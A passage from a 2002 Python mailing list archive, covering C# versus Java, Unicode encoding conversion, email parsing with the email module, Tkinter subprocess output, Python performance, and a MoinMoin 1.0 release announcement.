> to Java -- I can't really understand (on a purely technical plane) > liking one and despising the other. Despite the similar syntax, I find that three simple features of C# (Properties, Events, Delegates) give it a distinctly different flavour from Java. Some people regard those as superficial differences. IMO they're less superficial than the syntactic similarities. (IMO C# is more like Delphi with garbage collection and other enhancements). I doubt whether you're missing anything on a technical plane. (FWIW, it's clear to me that your insight into programming languages is _far_ deeper than mine). But do the languages 'feel' at all similar to you? To me, they don't. I can only explain my reactions in vague aesthetic terms that I don't expect anyone else to care about. C# feels cleaner, more direct, more forthright, less verbose, less 'muffled', less cluttered, less stodgy. These 'holistic' qualities matter to me (perhaps more than they should). No matter how much money is available, I detest working in Java, but I don't feel the same about C#. That's just me though. I won't try to prop up this personal reaction with technical rationalisations. > I don't see how C# per se should have substantially better > performance possibilites than Java, in particular -- it will mostly > depend on the MSIL vs JVM performance comparison, of course, but for > example once gcc 3's support for Java ahead-of-time compilation to > native matures, and assuming a similarly native compiler for C#, why > should any have intrinsic performance pluses? They're much of a > muchness. Sure. There's nothing inherent in the _languages_ that make one necessarily "faster" than the other. But in practice, I have not seen a compelling proof of concept in Java, even after all these years. I should add that I'm more interested in the client side than the server side, and I'm prejudiced by the fact that no matter how well I write my code, my Swing applications will be weighed down by huge piles of dung. (PyQt leaves it for dead; it's as portable as I need it to be, and it lets me work in a far nicer language). But even after a relatively short time in production, C#/.NET shows itself to be quite capable of slick client-side performance. (See SharpDevelop, and compare it with, say, Forte) ;-) Beyond the languages (and into the "platforms"), I also think the .NET component model is more interesting than the JVM, but enough said for now. > I agree that there may be space between C and Python -- coding C > extensions and carefully debugging their increfs and decrefs until > they're OK often reminds me of that. Java/C#, for all their defects, > MAY unfortunately hog that space -- but as I see it they're vying > for the _same_ niche. I agree with that. But, given my choice, I'd rather see C# "hog" that space any day. For various reasons, I would actually prefer to prefer Java, but in reality I can't even tolerate it. Cheers, P. From programisci at NOSPAM.murator.com.pl Thu May 2 11:16:17 2002 From: programisci at NOSPAM.murator.com.pl (Johann) Date: Thu, 02 May 2002 17:16:17 +0200 Subject: internationalization problem... References: <3cd12f56$1@brateggebdc5.br-automation.co.at> <28e2du8f1jacggesbq6vdqqctn5424tq7l@4ax.com> <3cd15360$1@brateggebdc5.br-automation.co.at> Message-ID: On Thu, 2 May 2002 16:55:43 +0200, "Werner Schiendl" wrote: >you must first convert the data you read from the file to unicode. >As Martin already suggested: > >utf8_string = get_data_from_somewhere() >target_string = unicode(utf8_string, 'utf-8').encode('iso-8859-2') > >or, in your example, use > >x = unicode(buf[1], 'utf-8') > >instead of x = buf[1] Thanx, it helped. I have still problem with other two coding (window-1250 and mac-pl) but I am afraid I have to write my own functions for translation. -- Johann From max at alcyone.com Wed May 15 02:01:41 2002 From: max at alcyone.com (Erik Max Francis) Date: Tue, 14 May 2002 23:01:41 -0700 Subject: __getitem__, __getslice__ question for python 2.2 References: <3CDD412D.3000805@erols.com> Message-ID: <3CE1F9C5.94DDC17C@alcyone.com> Raymond Hettinger wrote: > "logistix" wrote > > > Also, some people don't like to use isinstance, but I'm not sure how > > else to > > tell if you got an int. > > if x != int(x): print 'expected an integer' This is a pretty poor test. Consider the cases where x is 'a', or when it is 2.0. -- Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/ __ San Jose, CA, US / 37 20 N 121 53 W / ICQ16063900 / &tSftDotIotE / \ Who'd ever think it / Such a squalid little ending \__/ The American and Florence, _Chess_ Church / http://www.alcyone.com/pyos/church/ A lambda calculus explorer in Python. From aleax at aleax.it Tue May 14 05:30:59 2002 From: aleax at aleax.it (Alex Martelli) Date: Tue, 14 May 2002 09:30:59 GMT Subject: Multibyte Character Surport for Python References: <83d6vzgngy.fsf@panacea.canonical.org> Message-ID: Kragen Sitaker wrote: > Alex Martelli writes: >> This one person has had this dubious "pleasure" and loathes the idea >> with a vengeance. The very *IDEA* of cutting off the huge majority of >> programmers in the world, who don't understand Italian, from being >> able to understand and work with my code, is utterly abhorrent to me. > > For any natural language X, it is the case that the huge majority of > people in the world do not understand X. As the population of An interesting assertion, for which I'd like you to bring some supporting statistics. What proportion of literate human beings does not understand English (including as a 2nd and 3rd language)? I can't find convincing statistics on the net, only suggestive information on anecdotical level, e.g., that English is used about exclusively in India, the most populous country in the world, for communication involving more than one of the country's states/regions -- but I have no idea about what proportion of Indian citizens are ever involved in such communications, versus those who spend all of their life in or near their village and need never worry about communication with connationals from elsewhere (and of the latter, how many are literate? we can't really count illiterates as candidate programmers, I think -- despite all of the "point and grunt" rhetoric). It appears to me that, not just in India, but in other populous countries with a huge variety of mother-tongues, English is preferred, as being more politically and culturally neutral than the mother-tongue of the dominant region or tribe, for inter-regional and inter-tribal communication by people belonging to other tribes or regions (of course, for the same reason it may be fought against by people who do belong to the dominant region or tribe). But here, too, judging what proportion of a region's population is ever involved with any interregional communication at all seems difficult. And, how are the trends? Again I have no objective basis for judgment, only guesses based on biased personal observation and anecdotes. When I interact with recent immigrants and refugees into Italy, mostly from Northern Africa, the Balcans, and the Near and Middle East, I seem to have an easier time communicating with them in English than in Italian (or French, which also has some use for that) -- almost as if those people had striven to acquire some elements of English more than of Italian, even though they were going to come here (of course, I speak no Arabic, no Slavic tongue, no Albanian, no Turk, nor Kurdish -- should I acquire all of them, communication with immigrants and refugees would no doubt be easier -- but, as most Western Europeans share my limitations on linguistic proficiency and have even less motivation than I do to remedy them, the role of English as common grounds for such communication would overall remain, no matter what my own studies could be). Of course, one could argue that the masses of immigrants and refugees *are* "elite", no matter how hard it seems to view them this way -- e.g., average number of years of schooling for (say) Tunisians who emigrate to Europe is higher (in a statistically significant way) than for Tunisians who stay in Tunisia (the "real elite", the tiny crust of a poor country's people who have substantial power and wealth there, are modestly motivated to flee their country; but the poorest of the poor may even lack the resources to finance emigration at all) -- this, I have heard, is the most substantial difference between the current waves of migration and previous ones (e.g., the millions of Italians who migrated in the past didn't tend to have statistically-significant differences in schooling wrt those who stayed). I do see a burning urge for some English education at all levels around me. One of the promises who swept our current government into power was to meet this demand (one of the pillars in their electoral campaign was to push "le tre 'i': Inglese, Internet, Impresa" -- English, Internet, Entrepreneurship -- however empty and populistic you may judge these electoral promises, do notice that English was in FIRST place). Qualified teachers of French, Spanish, German, etc, go begging -- well over 90% of students in our schools demand English as the foreign tongue to be taught. You can hardly read Italian newspapers any more without a modicum of English vocabulary -- as my father, 80 years old and knowing French and German (as well as Italian) but not English, often bitterly remarks (he's _particularly_ bitter at the prevalence of English in his profession, medicine, where he's still active as a university professor and consultant). Most often, English words and phrases are introduced to replace perfectly good, usable, and widely used Italian equivalents, rather than to tag new concepts. You hardly hear anybody any more talking about the "allenatore" of a football team, for example -- it's invariably the "trainer". Ferrari dominates Formula 1 racing, but you never hear anybody any more talking about them as a "squadra" -- it's *always* "team". Youth in the street may protest peacefully against globalization, or not so peacefully at all, but the key words in their protest in either case are never "no al globale", but rather "no global", never "niente marchi", but "no logo". More moderate left, defeated in last year's elections and still considering how to rebuild a political strategy, is not proposing a new "partito dei lavoratori" or even a "partito laburista", but directly a "Labour Party". The growing tide of English words is absolutely transversal across political nuances, fields of endeavour, cultural levels, socio-economic classes. Italy is, admittedly, peculiarly prone to esterophily. Even before "team" entered the local linguistic arena, you were as likely to hear "equipe" as "team". But in recent decades the focus has switched entirely to English, and the pace accelerates, it appears to me. Sure, considering pro-capita income, Italy, and all of Western Europe, is no doubt "elite", in a world-wide sense. But so are cultures that are as peculiarly insular as Italy is open to the world, such as Japan. It seems to me that this fight is far from decided. > programmers becomes less Americocentric and less educated (that is, as > programming becomes easier and more useful), it is likely to be the > case that the majority of programmers in the world will not understand > English. It does not seem to me that you've made a case for the trend being in this direction. Again judging from local trends, a far higher percentage of programmers have _some_ (often modest) grasp of English today, than was the case a few decades ago, where foreign languages were not taught in _all_ schools (now they're taught starting from the first year in school) and what was taught was more often French than English (German and Spanish were always marginal in our schools, and this hasn't changed much with time). Today I think it would be laughable, unthinkable to launch an "italianized" language, as many local suppliers (mostly Olivetti, now out of the computer market) repeatedly attempted (with signal failures) decades ago. > It is unfortunate that this state is abhorrent to you, but the current > state of programming --- confined to the elite --- is a greater evil. We're not really talking of current states so much as trends towards the future. I don't think there can be a greater evil than promoting the division of the world into pieces unable to communicate with each other, to understand each other at some level, and therefore to cooperate peacefully and fruitfully. Programming is cool, but peace and prosperity require mutual understanding and collaboration even more than they require programming. I don't believe we have to choose, but, if we did, I would have no hesitation choosing to promote an effort to help people communicate with each other and share the results of their efforts, over any effort pushing the other way, even if the latter was touted as promoting even wider access to programming. > But variable and function names belong to the programmer and the > program's audience, not the notation, and should be written in the > language that affords these people the most expressive power. Anybody is fully entitled to make his or her own choices between natural language to use for each form of his or her impression. But I hope that Python never actively *helps* people choose insularity and isolation from the world in preference to openness and sharing. Alex From martin at v.loewis.de Thu May 9 13:39:26 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 09 May 2002 19:39:26 +0200 Subject: Multibyte Character Surport for Python References: Message-ID: Erno Kuusela writes: > | If they don't know the latin alphabet, they can't use Python even if > | identifiers can be non-ASCII, since they keywords would still be > | written with Latin letters. > > there are so few keywords that their meaning is easily learned. > > granted, the error messages and such are still in english, but > they could be made localizable. That still leaves the standard library. There are batteries included, but they are all English - I hope you are not proposing that those also get localized... Regards, Martin From ken at hotmail.com Thu May 30 06:29:29 2002 From: ken at hotmail.com (Ken) Date: Thu, 30 May 2002 20:29:29 +1000 Subject: User input question References: Message-ID: "Eric Brunel" wrote in message news:ad4t64$qli$1 at wanadoo.fr... > Ken wrote:> > > Does this also work for user input from keyboard? > > Yep. It's exactly the same thing than in C++. > -- > - Eric Brunel - > PragmaDev : Real Time Software Development Tools - http://www.pragmadev.com But how do I set a field on the web browser for people to type in? Don't I need a form for people to type in? If so, how do I define the "method", "action" etc. from the form header? (eg: "
") Thanks From matt at mondoinfo.com Sat May 25 17:24:03 2002 From: matt at mondoinfo.com (Matthew Dixon Cowles) Date: Sat, 25 May 2002 21:24:03 GMT Subject: email module in 2.2 References: Message-ID: On Sat, 25 May 2002 15:29:12 -0500, Alex Russell wrote: Dear Alex, >I'm re-writing an email script using the new email module introduced >in 2.2, and I'm having some issues with multipart MIME messages. [. . .] >what bugs me most is that I can't seem to use get_payload to return >JUST the text/plain sections of the message. Any pointers? I think you're working too hard. The email module will do most of what you want pretty painlessly. I wrote some code to do about what you need, I'll fiddle it a bit and append it. Regards, Matt import email.Parser import os import sys def main(): if len(sys.argv)<>2: print "Usage: %s filename" % os.path.basename(sys.argv[0]) sys.exit(1) mailFile=open(sys.argv[1],"rb") p=email.Parser.Parser() msg=p.parse(mailFile) mailFile.close() for part in msg.walk(): if part.get_type()=="text/plain": print part.get_payload(decode=1) return None if __name__=="__main__": main() From maric.michaud at cirec.com Mon May 27 09:55:17 2002 From: maric.michaud at cirec.com (Maric MICHAUD) Date: Mon, 27 May 2002 15:55:17 +0200 Subject: Tix Vs Pmw which is better to use? Message-ID: <27E327AB8201B54495D54105FBBBB1485D1310@SRVMSG.GERLAND2.local> Sorry, i miss this post till now, I did this for a program written in python wich was printing his output on stdout. For me the better is to use thread. The solution that satisfy me was to redefine sys.stdout object for the thread to point on one of my own app widget with write and flush functions. Beware to not use update call for your gui in Tk from a child thread, this is not safe and crash randomly, use after_idle instead. -----Message d'origine----- De : Cimarron Taylor [mailto:cimarron+google at taylors.org] Envoy? : jeudi 2 mai 2002 13:05 ? : python-list at python.org Objet : Re: Tix Vs Pmw which is better to use? Now a question for the group. I would like to add to my interface a text area which would contain the output of a separate long running make process I need to spawn. I can't just call system() as that would block the entire ui (unless I setup a separate thread). I've tried using fork() and exec() but that seems to cause an X server error which kills the entire application. The best thing I've found so far is to run the separate process in an xterm window by creating an instance of the following class: class StartMake: def __init__(self, target): os.popen('xterm -e make %s &' % target) I know there are probably a few paths I could start down: a. use threads (yeah I know, but seems like overkill for this) b. get a window id of a Tkinter widget and have xterm use that window (yuck!) c. use a Tkinter alarm to poll the tail of a file containing the make output (this is what I might end up doing, but seems clumsy) Any suggestions? Cim -- http://mail.python.org/mailman/listinfo/python-list From aleax at aleax.it Mon May 13 03:34:58 2002 From: aleax at aleax.it (Alex Martelli) Date: Mon, 13 May 2002 07:34:58 GMT Subject: Zaurus and Python, a good combination References: <3CDEE799.5030306@earthlink.net> <3CDF1717.4090005@earthlink.net> Message-ID: Ron Stephens wrote: > Thanks, Gerhard, Dave, David, Paul, and others....so now I have infinite > incentive to study Boudewijn Rempt's book, "GUI Programming with Python > using the QT Toolkit". It's a good book! However: > I absolutely promise myself , here and now, to read and think about > nothing else (except during working hours of course, wink wink ;-))) > for my whole trip upcoming. I leave home on Tuesday and am, off -and on, > on the road for three weeks. I should be able to absorb the book in > those three weeks. ...unless you have a laptop with PyQt (and all the other components it needs -- Python, Qt, etc:-) and the code for the book's examples along with you, I suspect you won't be getting as much as you could out of your study. Experimenting with all the concepts as they're presented is really helpful, PyQt is an excellent environment for this, and the book strongly oriented to such hands-on work. > Alex, it really is a good machine. I sure hope you are able to get one > soon. I think it is dumb for the Sharp folks to be so anal-retentive > about their marekting efforts. Thye should sell as many as they can, > whenever and wherever they can. ...particularly, I should think, regarding sales that may (one hopes) have positive appeal on the product's attractiveness to other buyers down the road. For a computer, this means that selling a unit to a developer (particularly one who feels some enthusiasm about the machine) has high importance -- the machine's attractiveness to most potential buyers depends strictly on the amount, quality and variety of applications available for it, and getting the machine into the hands of enthusiastic developers is one way to help on this score. Moreover, Sharp seems to get it at some level -- they've long had a "developers' program" going, with discounts etc. BUT -- limited to developers living in country A, B, or C; developers living in countries D, E, &c, are apparently of no interest to Sharp. Great for those who think programming SHOULD be segregated by country, which each developer narrowly focusing on his or her national language and culture, no doubt. I suspect you can all guess how this attitude strikes me without me having to pour our a few zillion well-chosen expletives, yes? Alex From opengeometry at NOSPAM.yahoo.ca Mon May 6 16:19:32 2002 From: opengeometry at NOSPAM.yahoo.ca (William Park) Date: 6 May 2002 20:19:32 GMT Subject: degrees and radians. References: <3cd54503$0$237$cc9e4d1f@news.dial.pipex.com> Message-ID: Jim Richardson wrote: >> class vector: >> def __init__(self, x=[]): # vector([...]) >> self.array = x[:] >> self.n = len(x) >> >> def __repr__(self): >> return `self.array` >> >> def __add__(self, other): out = [] <-- missed when I cut/paste... sorry. >> for a, b in map(None, self.array, other.array): >> out.append(a + b) >> return vector(out) >> >>>>> a = vector([1,2]) >>>>> b = vector([2,3]) >>>>> a+b >> [3, 5] >> > > > Thanks. Actually, I am a little intimidated by the whole OO and class > thing. I still don't "grok" the whole OO thing. > > I don't understand what the (self,...) part of the init is. I *think* I > know what __init__ is for, to set up the things you need to use the > functions (methods?) within the class, but what's with self all over the > place? The function is called with parameter 'self' replaced by the object itself. You can use any function parameter names, but 'self' is used by convention. -- William Park, Open Geometry Consulting, 8-CPU Cluster, Hosting, NAS, Linux, LaTeX, python, vim, mutt, tin From max at alcyone.com Tue May 21 23:02:38 2002 From: max at alcyone.com (Erik Max Francis) Date: Tue, 21 May 2002 20:02:38 -0700 Subject: Is python really slow? References: Message-ID: <3CEB0A4E.FED95961@alcyone.com> Chris wrote: > Should I just be learning C instead? Is this just because of the > different > applications python is being put to use for or because Python > programmers > are more "multi-lingual" or is Python really so slow that one needs to > go > to C on a more regular basis? Some projects have are a mixture of Python and C. This is especially true of heavy-duty library modules, either due for efficiency's sake or because C acts as the glue between Python and some third-party library or tool. For your own personal projects, the question of whether Python alone will be sufficient really depends on what you plan on doing. The answer is likely that it will be more than satisfactory. While there certainly are cases where applications are so CPU intensive that from the start, Python alone would be inappropriate, these tasks are relatively rare, particularly for user end stuff. Even with intensive applications, it's not a question of whether it's as fast as possible, it's whether it's fast _enough_. On a modern machine, Python is almost certain to be more than sufficient for your needs, whatever they are. -- Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/ __ San Jose, CA, US / 37 20 N 121 53 W / ICQ16063900 / &tSftDotIotE / \ Who'd ever think it / Such a squalid little ending \__/ The American and Florence, _Chess_ Church / http://www.alcyone.com/pyos/church/ A lambda calculus explorer in Python. From dianne at catsdogmac.com Wed May 1 21:52:01 2002 From: dianne at catsdogmac.com (Dianne van Dulken) Date: Thu, 2 May 2002 11:52:01 +1000 Subject: NEWBIE QUESTIION: Comparing Lists in Python Message-ID: <5Z0A8.185$Q85.6597@ozemail.com.au> Hi everyone, I haven't been using python for very long, so I hope you will forgive me if I am asking a stupid question, or doing this in a stupid way. I am trying to compare two lists in Python, which have been passed into it. I want to return the difference between the two lists as again two lists eg: list 1 = item1, item5, item8, item10 list2 = item 3, item4, item5 I want to return returnlist1 = item1, item8, item10 returnlist2 = item3, item4 I haven't been working in python very long, but from what I have read, the best way is to convert these to a dictionary, and compare there. This is what I have done so far. list1 = list1.split(',') list2 = list2.split(',') returnlist1 = [] returnlist2 = [] d = {} for item in list1: if item not in list2: d[item] = item if d: returnlist1 = d.values() d2 = {} for item in list2: if item not in list1: return item d2[item] = item if d2: returnlist2 = d2.values() return [returnlist1,returnlist2] I found if I didn't include the split, but just passed in a list like "list1=[item1, item3, item] it would work only on 1 character at a time and not recognise it was a split. Please let me know if I am doing this in a very stupid way. The problem is that it isn't always recognising the lists, or comparing correctly. It finds returnlist1 OK, but not returnlist2. I'm using python scripts in Zope if that may also be causing a problem. Thanks very much Di -- Dianne van Dulken (put out the cats to talk to me) See the cutest puppy in the known universe (as voted by Rick and i) http://www.dogmac.com/bartholomew From lists at weissinger.org Sun May 5 07:29:16 2002 From: lists at weissinger.org (Mailing Lists) Date: Sun, 5 May 2002 07:29:16 -0400 Subject: State of Python.NET In-Reply-To: Message-ID: Anyone have any information on the Python to .NET compiler that ActiveState began and then seems to have abandoned? Where is Mark Hammond working these days? I know he's gone from ActiveState. Is he working on this anymore? Thank you! Keyton From shalehperry at attbi.com Tue May 7 17:27:33 2002 From: shalehperry at attbi.com (Sean 'Shaleh' Perry) Date: Tue, 07 May 2002 14:27:33 -0700 (PDT) Subject: taglibs equivalent in Python In-Reply-To: <9D82B3F44633494A9BFC45CC694F761AF228C2@exchange.ds.stromix.com> Message-ID: > > Taglibs themselves run in a JSP server which is basically a Java runtime > plugged in to Apache, which also understands taglibs and JSP specific stuff. > The closest thing to a JSP server in Python appears to be Zope (I am kinda > new to Python) > if you want jsp/asp/php like functionality via python Zope is pretty much your only choice. From pereira at cis.upenn.edu Mon May 27 12:20:04 2002 From: pereira at cis.upenn.edu (Fernando Pereira) Date: Mon, 27 May 2002 12:20:04 -0400 Subject: Problem of rewriting Python code in C References: Message-ID: On 5/27/02 2:18 AM, in article mailman.1022480443.1123.python-list at python.org, "Dave Lin" wrote: > I use Python to implement a math optimization problem, and I found 1 of my > function is bottleneck (dijkstra algorithm, if you want to know), I tried to > rewrite the function in C, but after I profiled it, the result is even > slower!? I guess that's because I use a lot of python elements in C code, ex. > PyList, PyDict, even third party module, ex. kjbucket, pqueue, etc. Am I > right? If that's the problem, what should I do? Before you spend more time on a C reimplementation, there are a few questions about your Python implementation: 1. What's the purpose of seenLinks? If your graph has no negative-weight loops (a required property for Dijkstra's algorithm), a correct implementation of the algorithm visits any edge (link) reachable from the source exactly once, without needing your seenLinks test. A common bug in implementations of the algorithm is to forget to update the position in the queue of a relaxed node. Looking at your code, I'm not sure that you are doing update correctly. Bugs like that, which destroy the algorithm's main invariant, can cause edges to be visited more than once, leading to pseudo-fixes like the one of keeping a visited edge table, which don't really do the right thing (they fail to find the shortest path in some cases). 2. You seem to use maps indexed by pairs for several purposes, including the graph edges. That's probably less efficient than an adjacency list representation. You might want to look at http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/119466 It implements the algorithm with an appropriate queue data structure, and it is very simple -- F From brian at sweetapp.com Sat May 4 17:35:24 2002 From: brian at sweetapp.com (Brian Quinlan) Date: Sat, 4 May 2002 14:35:24 -0700 Subject: making python scripts backwards compatible In-Reply-To: Message-ID: <008501c1f3b3$99de41e0$445d4540@Dell2> Sean Perry wrote: > I find it particularly annoying that the python group makes this > assumption we are all running last week's python. Not everyone > owns the machine their scripts run on. 1. Who is the "python group" in this context? 2. How much effort should have been expended to make sure that all modules shipped as part of Python 2.2 work with Python x.y? Cheers, Brian From hbl at st-andrews.ac.uk Thu May 2 07:05:33 2002 From: hbl at st-andrews.ac.uk (Hamish Lawson) Date: Thu, 02 May 2002 12:05:33 +0100 Subject: Resources and non-exhausted generators Message-ID: <3CD11D7D.A4D44969@st-andrews.ac.uk> I've written a generator (slightly modified below) that returns results from a database. Normally this is intended to be run from a for-loop that will exhaust the produced results. However it occurred to me that if the generator is not run to completion, then the cursor and connection will not get properly closed. I can't see any way to do this using a generator, and I've come to the conclusion that I must reengineer this as an iterator with a __del__ method that can tidy up resources (with probably also an explicit method for allowing this to be done earlier than object destruction). Is my analysis correct? def fetchsome_by_status(status): conn = connection() cursor = conn.cursor() cursor.execute(status_select_query, (status,)) for (student_id,) in cursor.fetchall(): yield student_id cursor.close() conn.commit() conn.close() Hamish Lawson From torstenson at no-spam.oti-hsv.com Thu May 16 16:03:05 2002 From: torstenson at no-spam.oti-hsv.com (Eric Torstenson) Date: Thu, 16 May 2002 15:03:05 -0500 Subject: Using VIM References: Message-ID: Hey Lawrence, I believe that the more recent installations have the syntax stuff set up (if that is what you mean) On my redhat 7.1 machine, the vim syntax directory is at /usr/share/vim/vim60z/syntax/ in which can be found numerous files named *.vim (one of which is python.vim) Also, there should be a script named filetype.vim that will set the filetype based on the last few letters (extension) of the file Also, make sure your rc file says "syntax on" some place. Is this what you were looking for? eric "Lawrence Oluyede" wrote in message news:i3lqdugprqj20ovqo1lnme9c13l3h6bqk0 at 4ax.com... > > How can i configure VIM to edit Python sources? > > (using Linux - Slackware 8) > > -- > Lawrence Oluyede > rhymes at myself.com From aleax at aleax.it Sat May 4 12:38:22 2002 From: aleax at aleax.it (Alex Martelli) Date: Sat, 04 May 2002 16:38:22 GMT Subject: Slight irritation with try/finally indentation References: <87bsc7b233.fsf@tleepslib.sk.tsukuba.ac.jp> Message-ID: <28UA8.4260$zW3.106993@news1.tin.it> Fran?ois Pinard wrote: > [Stephen J. Turnbull] ... >> try: >> setup() >> process() >> except SetupError: >> pass >> else: >> cleanup() > > Clever, and nice. Thanks for this idea, I'll ponder it. But this only calls cleanup if process does NOT raise. NOT the same semantics as a try/finally *at all*! What am I missing...? Alex From skip at pobox.com Thu May 30 22:24:30 2002 From: skip at pobox.com (Skip Montanaro) Date: Thu, 30 May 2002 21:24:30 -0500 Subject: Python/Scripting language performance In-Reply-To: <3CF65A62.2070705@bioeng.ucsd.edu> References: <3CF65A62.2070705@bioeng.ucsd.edu> Message-ID: <15606.57054.569572.23193@12-248-41-177.client.attbi.com> Curtis> I'm looking for an explicit explination of why Scripting Curtis> languages, specificaly Python, are slow compared to compiled Curtis> languages. Languages like Python and Perl (I think you do both a disservice by calling them "scripting" languages) are compiled to fairly high-level virtual machines. The bytecode is then interpreted at run-time. Interpreting bytecode is much less efficient than executing native machine code on real hardware. Compiling dynamically types languages to efficient machine code is difficult. C, C++ and Java are easier to compile to fairly efficient machine code because they are statically typed. Dynamic typing means you can't know ahead of time that (for example) the variable named "x" will always be an int. C knows that "int x;" means that it can generate a very efficient sequence of machine instructions to perform the expression "x + 5". The Python compiler doesn't know what "x + 5" means because it doesn't know, a priori, what the type of x is and thus what the semantics of the addition operator are going to be. That's not the end of the story, however. Take a look at the Psyco project for a system that provides some tantalizing performance improvements: http://sourceforge.net/projects/psyco I believe the Parrot project is also working on a more efficient virtual machine for Perl (and eventually other languages). -- Skip Montanaro (skip at pobox.com - http://www.mojam.com/) Boycott Netflix - they spam - http://www.musi-cal.com/~skip/netflix.html From tjreedy at udel.edu Sat May 11 08:28:41 2002 From: tjreedy at udel.edu (Terry Reedy) Date: Sat, 11 May 2002 12:28:41 GMT Subject: Scope in 2.2.1 References: Message-ID: "David LeBlanc" wrote in message news:mailman.1021115239.6564.python-list at python.org... > I have grown accustomed by long use to the way that C, C++ and Pascal (and > asm for that matter!) become aware of declarations. To use an analogy, > there's a line that moves down the page and things below the line are > unknown to the compiler since they're not seen yet unless they're forward > declared. Code is parsed based on what's known above the line. Python is Python -- and not anything else. > Python seems > to have an implicit per block pre-pass that gets all the bindings before > statements are parsed. Is this the correct idea? Yes. Python functions have, in a sense, *two* runtimes. First is definition time during which three actions are perfomed: 1. process parameter list, which includes evaluating default value expressions and putting param names on internal local variable list; 2. scan body text for name bindings and add bound names to local variable list; as an optimazation, this is done while the body is compiled to byte code, but it could be done even if there were no byte-code compilation; 3. assemble function object and bind it to the definition name. The second runtime is call time during which the (compiled) body is executed, using the information, including local var list, gathered during defination-construction time. Generators add a third 'runtime' -- iterator-construction -- inbetween definition and evaluation, but thats another story. Terry J. Reedy From kosh at aesaeion.com Fri May 31 22:38:12 2002 From: kosh at aesaeion.com (kosh at aesaeion.com) Date: Fri, 31 May 2002 20:38:12 -0600 (MDT) Subject: My .py CGI script works in IE but not Netscape In-Reply-To: <79b54d28.0205311837.731002aa@posting.google.com> Message-ID: On 31 May 2002, Chris wrote: > My script doesnt work in Netscape for some reason. I'm developing on a > UNIX envionrment with Python 2.2.1. I open up Netscape in windows and > only the background picture of my webpage loads... nothing else. > However in IE it works perfectly. Any general ideas as to what may be > going on? Thanks. > > Chris > -- Run the page through http://validator.w3.org first and verify that it is 100% spec. Once you have verified that then it will be easier to figure out the cause of the problem. However it is extremely unlikely that python has anything to do with the problem and instead it is your html code. From jh at web.de Fri May 10 16:09:14 2002 From: jh at web.de (Jürgen Hermann) Date: Fri, 10 May 2002 22:09:14 +0200 Subject: [ANN] MoinMoin 1.0 Message-ID: A WikiWikiWeb is a collaborative hypertext environment, with an emphasis on easy access to and modification of information. MoinMoin is a Python WikiClone that allows you to easily set up your own wiki, only requiring a Web server and a Python installation (1.5.2 and higher). THIS IS THE LAST RELEASE WITH PYTHON 1.5.2 SUPPORT! If severe bugs should occur, a maintenance release will fix them. Most important new features: added "processor" concept (Colorize, CSV), "Preferred language" and "Quick links" user settings, full-text search now displays context information, an action for transclusion into static web pages, an action compatible to MeatBall:LinkDatabase, and finally some new icons. Note that the RSS features require a recent PyXML (CVS or 0.7) due to bugs in the namespace handling of xml.sax.saxutils in earlier versions. This is (hopefully) automatically detected on every installation. Statistical features are NOT designed to work with Python 1.5.2 and require Python 2.0 or higher. The same is true for any XML features. Homepage: http://moin.sf.net/ Download: http://prdownloads.sourceforge.net/moin/moin-1.0.tar.gz http://prdownloads.sourceforge.net/moin/moin-1.0.zip http://prdownloads.sourceforge.net/moin/ Mailing lists: http://lists.sf.net/lists/listinfo/moin-user http://lists.sf.net/lists/listinfo/moin-devel New features: * security fix: "allow_xslt" has to be set to 1 in order to enable XSLT processing; note that this defaults to 0 because XSLT is able to insert arbitrary HTML into a wiki * "action=content" for transclusion into static web pages; emits the pure page content, without any , , or tags * "action=link" works like MeatBall:LinkDatabase * "Preferred language" and "Quick links" user settings * Added "processor" concept, processors work on the data in "code displays" and are called by a bangpath in the first line of data * Processors: Colorize, CSV (see HelpOnProcessors) * New icons: "{OK}", "(./)", "{X}", "{i}", "{1}", "{2}" and "{}" (see HelpOnSmileys) * FullSearch now displays context information for search hits * DeletePage offers a textentry field for an optional comment * Email notifications are sent in the user's language, if known from the preferences * @PAGE@ is substituted by the name of the current page (useful for template pages) Unfinished features: * user defined forms * XML export of all data in the wiki * RST parser (you need to install docutils to use this) * XMLRPC interface Bugfixes: * Syntax warning with Python 2.2 fixed * Macro-generated pagelinks are no longer added to the list of links * error codes returned by "diff" are reported * fix for attachments on pages with non-USASCII names From martin at v.loewis.de Sat May 25 21:27:02 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 26 May 2002 03:27:02 +0200 Subject: Why no libpython2.x.so in redhat? References: Message-ID: spam at fisher.forestry.uga.edu (Chris Fonnesbeck) writes: > I'm looking for someone out there who develops on RedHat who can help > me out: Why are there no libpython .so files on the redhat builds? It > is creating problems for me when trying to run python embedded in C. > It seems that my program looks for the .so files, and not finding > them, dies. That is a bug in your program. It should not be looking for such a file, since Python does not provide one. Can you elaborate *why* your program is looking for such a file? Regards, Martin From nospam at bigfoot.com Fri May 24 13:11:14 2002 From: nospam at bigfoot.com (Gillou) Date: Fri, 24 May 2002 19:11:14 +0200 Subject: Validating XML DOM parser with PyXML (0.7.1) Message-ID: Hi, I' brain dead since this morning (French time) in that matter... I'm trying to run a validating DOM parser with xmlproc. Some other requirements : * Returned objects should have the xml.dom.minidom (like) API. * I want to "plug in" my own DTD in the document to validate XML without doctype declaration. * Register my handlers for parser errors. * I need to get original encoding from xml declaration Can someone post me some sample that does this or give me a "good" howto URL. (not the ones in www.python.org, thei're still not complete) Thanks in advance --Gilles Warning : reply to glenfant AT bigfoot DOT com From cliechti at gmx.net Tue May 21 15:12:22 2002 From: cliechti at gmx.net (Chris Liechti) Date: 21 May 2002 21:12:22 +0200 Subject: Win32 embedding and extending References: Message-ID: michael.ingram at echostar.com (Michael Ingram) wrote in news:ccb95f87.0205211013.56d24889 at posting.google.com: ... > 1.) I would like to redirect the interpreter's output to one of my > SDI's CRichEditCtrl controls. Is this the intention of Win32ui? you only need to provide a write method which puts the text in your control. something like that: class Redirect: def write(s): yourextensionscontrol.appendtextincontrol(s) sys.stdout = sys.stderr = Redirect() chris -- Chris From jjl at pobox.com Sun May 12 11:47:02 2002 From: jjl at pobox.com (John J. Lee) Date: Sun, 12 May 2002 16:47:02 +0100 Subject: Python 2.2.1 Windows / install variables ? In-Reply-To: <3CDE7290.3E28D9BD@usc.edu> References: <3CDE7290.3E28D9BD@usc.edu> Message-ID: On Sun, 12 May 2002, Rich Pinder wrote: [...] > I'm trying to load three add on's (4Suite, PyXML, and Interbase database > adapter). > > On the second install screen 